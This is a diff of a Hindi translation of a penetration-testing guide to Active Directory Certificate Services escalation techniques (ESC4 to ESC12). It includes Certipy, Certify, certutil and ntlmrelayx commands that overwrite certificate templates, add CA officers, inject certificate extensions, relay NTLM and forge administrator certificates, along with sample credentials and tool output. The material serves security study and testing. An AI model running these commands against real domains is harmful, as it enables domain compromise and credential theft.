होते हैं। इसे उदाहरण के लिए प्रमाणपत्र टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट करने के लिए दुरुपयोग किया जा सकता है ताकि टेम्पलेट ESC1 के लिए संवेदनशील हो जाए। -जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड का एक छोटा सा झलक है। +जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल `JOHNPC` के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता `JOHN` के पास `JOHNPC` के लिए नया `AddKeyCredentialLink` एज है। चूंकि यह तकनीक प्रमाणपत्रों से संबंधित है, मैंने इस हमले को भी लागू किया है, जिसे [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) के रूप में जाना जाता है। यहाँ पीड़ित के NT हैश को पुनः प्राप्त करने के लिए Certipy के `shadow auto` कमांड का एक छोटा सा झलक है। ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** एक कमांड के साथ एक सर्टिफिकेट टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को **ESC1** के लिए **कमजोर** बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर** को पुराने कॉन्फ़िगरेशन को सहेजने के लिए भी निर्दिष्ट कर सकते हैं, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनर्स्थापित** करने के लिए उपयोगी होगा। +**Certipy** एक कमांड के साथ एक सर्टिफिकेट टेम्पलेट की कॉन्फ़िगरेशन को ओवरराइट कर सकता है। **डिफ़ॉल्ट** रूप से, Certipy कॉन्फ़िगरेशन को **ESC1 के लिए संवेदनशील** बनाने के लिए **ओवरराइट** करेगा। हम **`-save-old` पैरामीटर** को पुराने कॉन्फ़िगरेशन को सहेजने के लिए भी निर्दिष्ट कर सकते हैं, जो हमारे हमले के बाद कॉन्फ़िगरेशन को **पुनर्स्थापित** करने के लिए उपयोगी होगा। ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -176,9 +176,9 @@ ACL-आधारित संबंधों का विस्तृत जा ### Explanation -[**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज के प्रभावों पर भी प्रकाश डाला गया है, जैसा कि Microsoft द्वारा वर्णित किया गया है। यह कॉन्फ़िगरेशन, जब एक प्रमाणन प्राधिकरण (CA) पर सक्रिय किया जाता है, तो **किसी भी अनुरोध** के लिए **उपयोगकर्ता-परिभाषित मानों** को **विषय वैकल्पिक नाम** में शामिल करने की अनुमति देता है, जिसमें Active Directory® से निर्मित अनुरोध भी शामिल हैं। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिए** को **किसी भी टेम्पलेट** के माध्यम से नामांकित करने की अनुमति देता है जो डोमेन **प्रमाणीकरण** के लिए सेट किया गया है—विशेष रूप से वे जो **निम्न-विशिष्टता** उपयोगकर्ता नामांकन के लिए खुले हैं, जैसे कि मानक उपयोगकर्ता टेम्पलेट। परिणामस्वरूप, एक प्रमाणपत्र सुरक्षित किया जा सकता है, जिससे घुसपैठिए को डोमेन प्रशासक या **डोमेन के भीतर किसी अन्य सक्रिय इकाई** के रूप में प्रमाणीकरण करने की अनुमति मिलती है। +[**CQure Academy पोस्ट**](https://cqureacademy.com/blog/enhanced-key-usage) में चर्चा किए गए विषय में **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज के प्रभावों पर भी प्रकाश डाला गया है, जैसा कि Microsoft द्वारा वर्णित है। यह कॉन्फ़िगरेशन, जब एक प्रमाणन प्राधिकरण (CA) पर सक्रिय किया जाता है, तो **किसी भी अनुरोध** के लिए **विभिन्न उपयोगकर्ता-परिभाषित मानों** को **विषय वैकल्पिक नाम** में शामिल करने की अनुमति देता है, जिसमें Active Directory® से निर्मित अनुरोध भी शामिल हैं। परिणामस्वरूप, यह प्रावधान एक **घुसपैठिए** को **किसी भी टेम्पलेट** के माध्यम से नामांकित करने की अनुमति देता है जो डोमेन **प्रमाणीकरण** के लिए सेट किया गया है—विशेष रूप से वे जो **निम्न-विशिष्टता** उपयोगकर्ता नामांकन के लिए खुले हैं, जैसे कि मानक उपयोगकर्ता टेम्पलेट। इसके परिणामस्वरूप, एक प्रमाणपत्र सुरक्षित किया जा सकता है, जिससे घुसपैठिए को डोमेन प्रशासक या **डोमेन के भीतर किसी अन्य सक्रिय इकाई** के रूप में प्रमाणीकरण करने की अनुमति मिलती है। -**Note**: एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में **वैकल्पिक नामों** को जोड़ने के लिए `-attrib "SAN:"` तर्क के माध्यम से `certreq.exe` में एक **विपरीत** दृष्टिकोण प्रस्तुत करता है (जिसे "नाम मान जोड़े" के रूप में संदर्भित किया जाता है), ESC1 में SANs के शोषण रणनीति से। यहाँ, भेद **कैसे खाता जानकारी को संकुचित किया जाता है**—एक प्रमाणपत्र विशेषता के भीतर, न कि एक विस्तार में। +**Note**: एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में **वैकल्पिक नामों** को जोड़ने के लिए `-attrib "SAN:"` तर्क के माध्यम से `certreq.exe` में, जो “Name Value Pairs” के रूप में संदर्भित है, ESC1 में SANs के शोषण रणनीति से एक **विभाजन** प्रस्तुत करता है। यहाँ, भेद **कैसे खाता जानकारी को संकुचित किया जाता है**—एक प्रमाणपत्र विशेषता के भीतर, न कि एक विस्तार के रूप में। ### Abuse @@ -209,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > मई 2022 की सुरक्षा अपडेट के बाद, नए जारी किए गए **certificates** में एक **security extension** होगा जो **requester's `objectSid` property** को शामिल करता है। ESC1 के लिए, यह SID निर्दिष्ट SAN से निकाला गया है। हालाँकि, **ESC6** के लिए, SID **requester's `objectSid`** को दर्शाता है, न कि SAN।\ -> ESC6 का लाभ उठाने के लिए, यह आवश्यक है कि सिस्टम ESC10 (Weak Certificate Mappings) के प्रति संवेदनशील हो, जो **SAN को नए सुरक्षा विस्तार** पर प्राथमिकता देता है। +> ESC6 का लाभ उठाने के लिए, यह आवश्यक है कि सिस्टम ESC10 (Weak Certificate Mappings) के प्रति संवेदनशील हो, जो **SAN को नए सुरक्षा विस्तार पर प्राथमिकता** देता है। ## Vulnerable Certificate Authority Access Control - ESC7 @@ -217,7 +217,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ #### Explanation -एक प्रमाणपत्र प्राधिकरण के लिए पहुँच नियंत्रण एक सेट अनुमतियों के माध्यम से बनाए रखा जाता है जो CA क्रियाओं को नियंत्रित करता है। इन अनुमतियों को `certsrv.msc` तक पहुँचकर, एक CA पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर जाकर देखा जा सकता है। इसके अतिरिक्त, PSPKI मॉड्यूल का उपयोग करके अनुमतियों को निम्नलिखित कमांड के साथ सूचीबद्ध किया जा सकता है: +एक प्रमाणपत्र प्राधिकरण के लिए पहुँच नियंत्रण एक सेट अनुमतियों के माध्यम से बनाए रखा जाता है जो CA क्रियाओं को नियंत्रित करता है। इन अनुमतियों को `certsrv.msc` तक पहुँचकर, एक CA पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर नेविगेट करके देखा जा सकता है। इसके अतिरिक्त, PSPKI मॉड्यूल का उपयोग करके अनुमतियों को निम्नलिखित कमांड के साथ सूचीबद्ध किया जा सकता है: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -229,7 +229,7 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth इस प्रक्रिया को PSPKI के **Enable-PolicyModuleFlag** cmdlet का उपयोग करके सरल बनाया जा सकता है, जो सीधे GUI इंटरैक्शन के बिना संशोधनों की अनुमति देता है। -**`ManageCertificates`** अधिकारों का अधिग्रहण लंबित अनुरोधों की स्वीकृति को सक्षम बनाता है, प्रभावी रूप से "CA प्रमाणपत्र प्रबंधक स्वीकृति" सुरक्षा को दरकिनार करता है। +**`ManageCertificates`** अधिकारों का अधिग्रहण लंबित अनुरोधों की स्वीकृति को सुविधाजनक बनाता है, प्रभावी रूप से "CA प्रमाणपत्र प्रबंधक स्वीकृति" सुरक्षा को दरकिनार करता है। **Certify** और **PSPKI** मॉड्यूल का संयोजन एक प्रमाणपत्र के लिए अनुरोध, स्वीकृति और डाउनलोड करने के लिए उपयोग किया जा सकता है: ```bash @@ -266,14 +266,14 @@ Perquisites: #### Abuse -आप **अपने लिए `Manage Certificates`** पहुँच अधिकार प्रदान कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर। +आप **अपने लिए `Manage Certificates`** पहुँच अधिकार प्राप्त कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर। ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -**`SubCA`** टेम्पलेट को `-enable-template` पैरामीटर के साथ CA पर **सक्रिय किया जा सकता है**। डिफ़ॉल्ट रूप से, `SubCA` टेम्पलेट सक्रिय होता है। +**`SubCA`** टेम्पलेट को `-enable-template` पैरामीटर के साथ CA पर **सक्रिय किया जा सकता है**। डिफ़ॉल्ट रूप से, `SubCA` टेम्पलेट सक्रिय है। ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -322,11 +322,11 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) #### Explanation -क्लासिक ESC7 दुरुपयोगों (EDITF गुणों को सक्षम करना या लंबित अनुरोधों को मंजूरी देना) के अलावा, **Certify 2.0** ने एक नया प्राइमिटिव प्रकट किया है जिसे केवल *Manage Certificates* (जिसे **Certificate Manager / Officer** भी कहा जाता है) भूमिका की आवश्यकता होती है जो Enterprise CA पर है। +क्लासिक ESC7 दुरुपयोगों (EDITF विशेषताओं को सक्षम करने या लंबित अनुरोधों को मंजूरी देने) के अलावा, **Certify 2.0** ने एक नया प्राइमिटिव प्रकट किया है जिसे केवल *Manage Certificates* (जिसे **Certificate Manager / Officer** भी कहा जाता है) भूमिका की आवश्यकता होती है जो एंटरप्राइज CA पर है। -`ICertAdmin::SetExtension` RPC विधि को कोई भी प्रिंसिपल जो *Manage Certificates* रखता है, द्वारा निष्पादित किया जा सकता है। जबकि यह विधि पारंपरिक रूप से वैध CAs द्वारा **लंबित** अनुरोधों पर एक्सटेंशन को अपडेट करने के लिए उपयोग की जाती थी, एक हमलावर इसका दुरुपयोग कर सकता है ताकि **एक *non-default* प्रमाणपत्र एक्सटेंशन** (उदाहरण के लिए एक कस्टम *Certificate Issuance Policy* OID जैसे `1.1.1.1`) को एक अनुरोध में जो मंजूरी की प्रतीक्षा कर रहा है, जोड़ा जा सके। +`ICertAdmin::SetExtension` RPC विधि को कोई भी प्रिंसिपल जो *Manage Certificates* रखता है, द्वारा निष्पादित किया जा सकता है। जबकि यह विधि पारंपरिक रूप से वैध CAs द्वारा **लंबित** अनुरोधों पर एक्सटेंशन को अपडेट करने के लिए उपयोग की जाती थी, एक हमलावर इसका दुरुपयोग करके **एक *non-default* प्रमाणपत्र एक्सटेंशन** (उदाहरण के लिए एक कस्टम *Certificate Issuance Policy* OID जैसे `1.1.1.1`) को एक अनुरोध में जोड़ सकता है जो मंजूरी की प्रतीक्षा कर रहा है। -चूंकि लक्षित टेम्पलेट उस एक्सटेंशन के लिए **डिफ़ॉल्ट मान को परिभाषित नहीं करता है**, CA हमलावर द्वारा नियंत्रित मान को तब तक अधिलेखित नहीं करेगा जब तक अनुरोध अंततः जारी नहीं किया जाता। परिणामस्वरूप प्रमाणपत्र में एक हमलावर द्वारा चुना गया एक्सटेंशन होता है जो: +चूंकि लक्षित टेम्पलेट उस एक्सटेंशन के लिए **डिफ़ॉल्ट मान को परिभाषित नहीं करता है**, CA अंततः अनुरोध जारी करते समय हमलावर द्वारा नियंत्रित मान को अधिलेखित नहीं करेगा। परिणामस्वरूप प्रमाणपत्र में एक हमलावर द्वारा चुना गया एक्सटेंशन होता है जो: * अन्य कमजोर टेम्पलेट्स की एप्लिकेशन / इश्यू पॉलिसी आवश्यकताओं को पूरा कर सकता है (जिससे विशेषाधिकार वृद्धि हो सकती है)। * अतिरिक्त EKUs या नीतियों को इंजेक्ट कर सकता है जो प्रमाणपत्र को तीसरे पक्ष के सिस्टम में अप्रत्याशित विश्वास प्रदान करते हैं। @@ -347,9 +347,9 @@ Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # नकली इश्यू-नीति OID ``` -*यदि टेम्पलेट पहले से *Certificate Issuance Policies* एक्सटेंशन को परिभाषित नहीं करता है, तो ऊपर दिया गया मान जारी होने के बाद संरक्षित रहेगा।* +*यदि टेम्पलेट पहले से *Certificate Issuance Policies* एक्सटेंशन को परिभाषित नहीं करता है, तो ऊपर दिया गया मान जारी करने के बाद संरक्षित रहेगा।* -3. **अनुरोध जारी करें** (यदि आपकी भूमिका में *Manage Certificates* मंजूरी अधिकार भी हैं) या किसी ऑपरेटर के इसे मंजूर करने की प्रतीक्षा करें। एक बार जारी होने पर, प्रमाणपत्र डाउनलोड करें: +3. **अनुरोध जारी करें** (यदि आपकी भूमिका में *Manage Certificates* मंजूरी अधिकार भी हैं) या किसी ऑपरेटर के इसे मंजूर करने की प्रतीक्षा करें। एक बार जारी होने के बाद, प्रमाणपत्र डाउनलोड करें: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` @@ -363,16 +363,17 @@ Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ### Explanation > [!TIP] -> उन वातावरणों में जहां **AD CS स्थापित है**, यदि एक **वेब नामांकन अंत बिंदु कमजोर** है और कम से कम एक **प्रमाणपत्र टेम्पलेट प्रकाशित है** जो **डोमेन कंप्यूटर नामांकन और क्लाइंट प्रमाणीकरण** की अनुमति देता है (जैसे डिफ़ॉल्ट **`Machine`** टेम्पलेट), तो **स्पूलर सेवा सक्रिय होने वाले किसी भी कंप्यूटर को एक हमलावर द्वारा समझौता किया जा सकता है**! +> उन वातावरणों में जहां **AD CS स्थापित है**, यदि एक **वेब नामांकन अंत बिंदु कमजोर** है और कम से कम एक **प्रमाणपत्र टेम्पलेट प्रकाशित है** जो **डोमेन कंप्यूटर नामांकन और क्लाइंट प्रमाणीकरण** की अनुमति देता है (जैसे डिफ़ॉल्ट **`Machine`** टेम्पलेट), तो **किसी भी कंप्यूटर जो स्पूलर सेवा सक्रिय है, को एक हमलावर द्वारा समझौता किया जा सकता है**! -AD CS द्वारा कई **HTTP-आधारित नामांकन विधियों** का समर्थन किया जाता है, जो अतिरिक्त सर्वर भूमिकाओं के माध्यम से उपलब्ध होती हैं जिन्हें प्रशासक स्थापित कर सकते हैं। HTTP-आधारित प्रमाणपत्र नामांकन के लिए ये इंटरफेस **NTLM रिले हमलों** के प्रति संवेदनशील होते हैं। एक हमलावर, एक **समझौता किए गए मशीन से, किसी भी AD खाते का अनुकरण कर सकता है जो इनबाउंड NTLM के माध्यम से प्रमाणीकरण करता है**। पीड़ित खाते का अनुकरण करते समय, इन वेब इंटरफेस को एक हमलावर द्वारा **`User` या `Machine` प्रमाणपत्र टेम्पलेट्स का उपयोग करके क्लाइंट प्रमाणीकरण प्रमाणपत्र के लिए अनुरोध करने के लिए एक्सेस किया जा सकता है**। +AD CS द्वारा कई **HTTP-आधारित नामांकन विधियों** का समर्थन किया जाता है, जो अतिरिक्त सर्वर भूमिकाओं के माध्यम से उपलब्ध होती हैं जिन्हें प्रशासक स्थापित कर सकते हैं। HTTP-आधारित प्रमाणपत्र नामांकन के लिए ये इंटरफेस **NTLM रिले हमलों** के प्रति संवेदनशील होते हैं। एक हमलावर, एक **समझौता किए गए मशीन से, किसी भी AD खाते का अनुकरण कर सकता है जो इनबाउंड NTLM के माध्यम से प्रमाणीकरण करता है**। पीड़ित खाते का अनुकरण करते समय, इन वेब इंटरफेस को एक हमलावर द्वारा **`User` या `Machine` प्रमाणपत्र टेम्पलेट्स का उपयोग करके एक क्लाइंट प्रमाणीकरण प्रमाणपत्र के लिए अनुरोध करने के लिए एक्सेस किया जा सकता है**। -- **वेब नामांकन इंटरफेस** (एक पुरानी ASP एप्लिकेशन जो `http:///certsrv/` पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर है, जो NTLM रिले हमलों के खिलाफ सुरक्षा प्रदान नहीं करता है। इसके अतिरिक्त, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है अपने Authorization HTTP हेडर के माध्यम से, जिससे अधिक सुरक्षित प्रमाणीकरण विधियाँ जैसे Kerberos अनुपयुक्त हो जाती हैं। -- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से अपने Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **दोनों** Kerberos और **NTLM** का समर्थन करता है, जिससे एक हमलावर **NTLM** प्रमाणीकरण को रिले हमलों के दौरान **डाउनग्रेड** कर सकता है। हालांकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS सक्षम करती हैं, HTTPS अकेले **NTLM रिले हमलों से सुरक्षा नहीं करता है**। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाए। दुर्भाग्यवश, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्रिय नहीं करता है, जो चैनल बाइंडिंग के लिए आवश्यक है। +- **वेब नामांकन इंटरफेस** (एक पुरानी ASP एप्लिकेशन जो `http:///certsrv/` पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर है, जो NTLM रिले हमलों के खिलाफ सुरक्षा प्रदान नहीं करता है। इसके अतिरिक्त, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है इसके Authorization HTTP हेडर के माध्यम से, जिससे अधिक सुरक्षित प्रमाणीकरण विधियाँ जैसे Kerberos अनुपयुक्त हो जाती हैं। +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से अपने Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **दोनों** Kerberos और **NTLM** का समर्थन करता है, जिससे एक हमलावर **NTLM** प्रमाणीकरण के लिए डाउनग्रेड कर सकता है। हालांकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS सक्षम करती हैं, HTTPS अकेले **NTLM रिले हमलों के खिलाफ सुरक्षा नहीं करता है**। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाए। दुर्भाग्यवश, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्रिय नहीं करता है, जो चैनल बाइंडिंग के लिए आवश्यक है। NTLM रिले हमलों के साथ एक सामान्य **समस्या** NTLM सत्रों की **संक्षिप्त अवधि** और हमलावर की उन सेवाओं के साथ बातचीत करने में असमर्थता है जो **NTLM साइनिंग** की आवश्यकता होती है। -फिर भी, इस सीमा को NTLM रिले हमले का उपयोग करके एक उपयोगकर्ता के लिए प्रमाणपत्र प्राप्त करके पार किया जाता है, क्योंकि प्रमाणपत्र की वैधता अवधि सत्र की अवधि को निर्धारित करती है, और प्रमाणपत्र को उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM साइनिंग** की आवश्यकता होती है। चोरी किए गए प्रमाणपत्र का उपयोग करने के निर्देशों के लिए देखें: +फिर भी, इस सीमा को एक NTLM रिले हमले का लाभ उठाकर उपयोगकर्ता के लिए एक प्रमाणपत्र प्राप्त करके पार किया जाता है, क्योंकि प्रमाणपत्र की वैधता अवधि सत्र की अवधि को निर्धारित करती है, और प्रमाणपत्र को उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM साइनिंग** की आवश्यकता होती है। चुराए गए प्रमाणपत्र का उपयोग करने के निर्देशों के लिए देखें: + {{#ref}} account-persistence.md @@ -380,6 +381,7 @@ account-persistence.md NTLM रिले हमलों की एक और सीमा यह है कि **एक हमलावर-नियंत्रित मशीन को एक पीड़ित खाते द्वारा प्रमाणीकरण किया जाना चाहिए**। हमलावर या तो प्रतीक्षा कर सकता है या इस प्रमाणीकरण को **बलात्कृत** करने का प्रयास कर सकता है: + {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} @@ -392,7 +394,7 @@ Certify.exe cas ```
-`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज सर्टिफिकेट अथॉरिटीज़ (CAs) द्वारा सर्टिफिकेट एनरोलमेंट सर्विस (CES) एंडपॉइंट्स को स्टोर करने के लिए किया जाता है। इन एंडपॉइंट्स को **Certutil.exe** टूल का उपयोग करके पार्स और लिस्ट किया जा सकता है: +`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज सर्टिफिकेट ऑथोरिटीज़ (CAs) द्वारा सर्टिफिकेट एनरोलमेंट सर्विस (CES) एंडपॉइंट्स को स्टोर करने के लिए किया जाता है। इन एंडपॉइंट्स को टूल **Certutil.exe** का उपयोग करके पार्स और लिस्ट किया जा सकता है: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -445,8 +447,8 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) - `StrongCertificateBindingEnforcement` को `2` पर समायोजित नहीं किया गया है (डिफ़ॉल्ट `1` है), या `CertificateMappingMethods` में `UPN` ध्वज शामिल है। - प्रमाणपत्र को `msPKI-Enrollment-Flag` सेटिंग के भीतर `CT_FLAG_NO_SECURITY_EXTENSION` ध्वज के साथ चिह्नित किया गया है। -- प्रमाणपत्र द्वारा किसी भी क्लाइंट प्रमाणीकरण EKU को निर्दिष्ट किया गया है। -- किसी अन्य को समझौता करने के लिए किसी भी खाते पर `GenericWrite` अनुमतियाँ उपलब्ध हैं। +- प्रमाणपत्र द्वारा किसी भी क्लाइंट प्रमाणीकरण EKU निर्दिष्ट किया गया है। +- किसी भी खाते पर `GenericWrite` अनुमतियाँ उपलब्ध हैं ताकि किसी अन्य को समझौता किया जा सके। ### Abuse Scenario @@ -482,8 +484,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local डोमेन नियंत्रक पर दो रजिस्ट्री कुंजी मान ESC10 द्वारा संदर्भित हैं: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के तहत `CertificateMappingMethods` के लिए डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, जिसे पहले `0x1F` पर सेट किया गया था। -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के तहत `StrongCertificateBindingEnforcement` के लिए डिफ़ॉल्ट सेटिंग `1` है, पहले `0`। +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के तहत `CertificateMappingMethods` के लिए डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, जो पहले `0x1F` पर सेट था। +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के तहत `StrongCertificateBindingEnforcement` के लिए डिफ़ॉल्ट सेटिंग `1` है, जो पहले `0` थी। **मामला 1** @@ -497,7 +499,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local जब `StrongCertificateBindingEnforcement` को `0` के रूप में कॉन्फ़िगर किया गया है, तो `GenericWrite` अनुमतियों के साथ एक खाता A का उपयोग किसी भी खाते B को समझौता करने के लिए किया जा सकता है। -उदाहरण के लिए, `Jane@corp.local` पर `GenericWrite` अनुमतियों के साथ, एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रखता है। यह प्रक्रिया ESC9 को दर्शाती है, जिससे किसी भी प्रमाणपत्र टेम्पलेट का उपयोग किया जा सकता है। +उदाहरण के लिए, `Jane@corp.local` पर `GenericWrite` अनुमतियों के साथ, एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रखता है। यह प्रक्रिया ESC9 के समान है, जो किसी भी प्रमाणपत्र टेम्पलेट का उपयोग करने की अनुमति देती है। शुरुआत में, `Jane` का हैश Shadow Credentials का उपयोग करके प्राप्त किया जाता है, `GenericWrite` का दुरुपयोग करते हुए। ```bash @@ -523,7 +525,7 @@ certipy auth -pfx administrator.pfx -domain corp.local `CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) होने के साथ, एक खाता A जिसके पास `GenericWrite` अनुमतियाँ हैं, किसी भी खाते B को समझौता कर सकता है जिसमें `userPrincipalName` प्रॉपर्टी नहीं है, जिसमें मशीन खाते और अंतर्निहित डोमेन प्रशासक `Administrator` शामिल हैं। -यहाँ, लक्ष्य `DC$@corp.local` को समझौता करना है, `Jane` का हैश प्राप्त करने के साथ शुरू करते हुए, Shadow Credentials के माध्यम से, `GenericWrite` का लाभ उठाते हुए। +यहाँ, लक्ष्य `DC$@corp.local` को समझौता करना है, शुरू करते हुए `Jane` का हैश Shadow Credentials के माध्यम से प्राप्त करना, `GenericWrite` का लाभ उठाते हुए। ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -543,17 +545,17 @@ Schannel के माध्यम से प्रमाणीकरण कर ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP शेल के माध्यम से, `set_rbcd` जैसे कमांड Resource-Based Constrained Delegation (RBCD) हमलों को सक्षम करते हैं, जो संभावित रूप से डोमेन कंट्रोलर को खतरे में डाल सकते हैं। +LDAP शेल के माध्यम से, `set_rbcd` जैसे कमांड रिसोर्स-आधारित सीमित प्रतिनिधित्व (RBCD) हमलों को सक्षम करते हैं, जो संभावित रूप से डोमेन कंट्रोलर को खतरे में डाल सकते हैं। ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -यह सुरक्षा कमजोरी किसी भी उपयोगकर्ता खाते पर लागू होती है जिसमें `userPrincipalName` नहीं है या जहां यह `sAMAccountName` से मेल नहीं खाता, जिसमें डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य है क्योंकि इसके पास उच्च LDAP विशेषाधिकार हैं और डिफ़ॉल्ट रूप से `userPrincipalName` की अनुपस्थिति है। +यह सुरक्षा कमी किसी भी उपयोगकर्ता खाते पर लागू होती है जिसमें `userPrincipalName` नहीं है या जहां यह `sAMAccountName` से मेल नहीं खाता, जिसमें डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य है क्योंकि इसके पास उच्च LDAP विशेषाधिकार हैं और डिफ़ॉल्ट रूप से `userPrincipalName` की अनुपस्थिति है। ## NTLM को ICPR में रिले करना - ESC11 ### व्याख्या -यदि CA सर्वर को `IF_ENFORCEENCRYPTICERTREQUEST` के साथ कॉन्फ़िगर नहीं किया गया है, तो यह RPC सेवा के माध्यम से बिना साइन किए NTLM रिले हमलों को सक्षम कर सकता है। [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)। +यदि CA सर्वर को `IF_ENFORCEENCRYPTICERTREQUEST` के साथ कॉन्फ़िगर नहीं किया गया है, तो यह RPC सेवा के माध्यम से साइन किए बिना NTLM रिले हमलों को सक्षम कर सकता है। [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)। आप यह देखने के लिए `certipy` का उपयोग कर सकते हैं कि क्या `Enforce Encryption for Requests` अक्षम है और certipy `ESC11` कमजोरियों को दिखाएगा। ```bash @@ -605,17 +607,17 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s Administrators can set up the Certificate Authority to store it on an external device like the "Yubico YubiHSM2". -If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM. +यदि USB डिवाइस CA सर्वर से USB पोर्ट के माध्यम से जुड़ा है, या यदि CA सर्वर एक वर्चुअल मशीन है तो USB डिवाइस सर्वर के मामले में, Key Storage Provider के लिए YubiHSM में कुंजी उत्पन्न करने और उपयोग करने के लिए एक प्रमाणीकरण कुंजी (जिसे कभी-कभी "पासवर्ड" कहा जाता है) की आवश्यकता होती है। -This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext. +यह 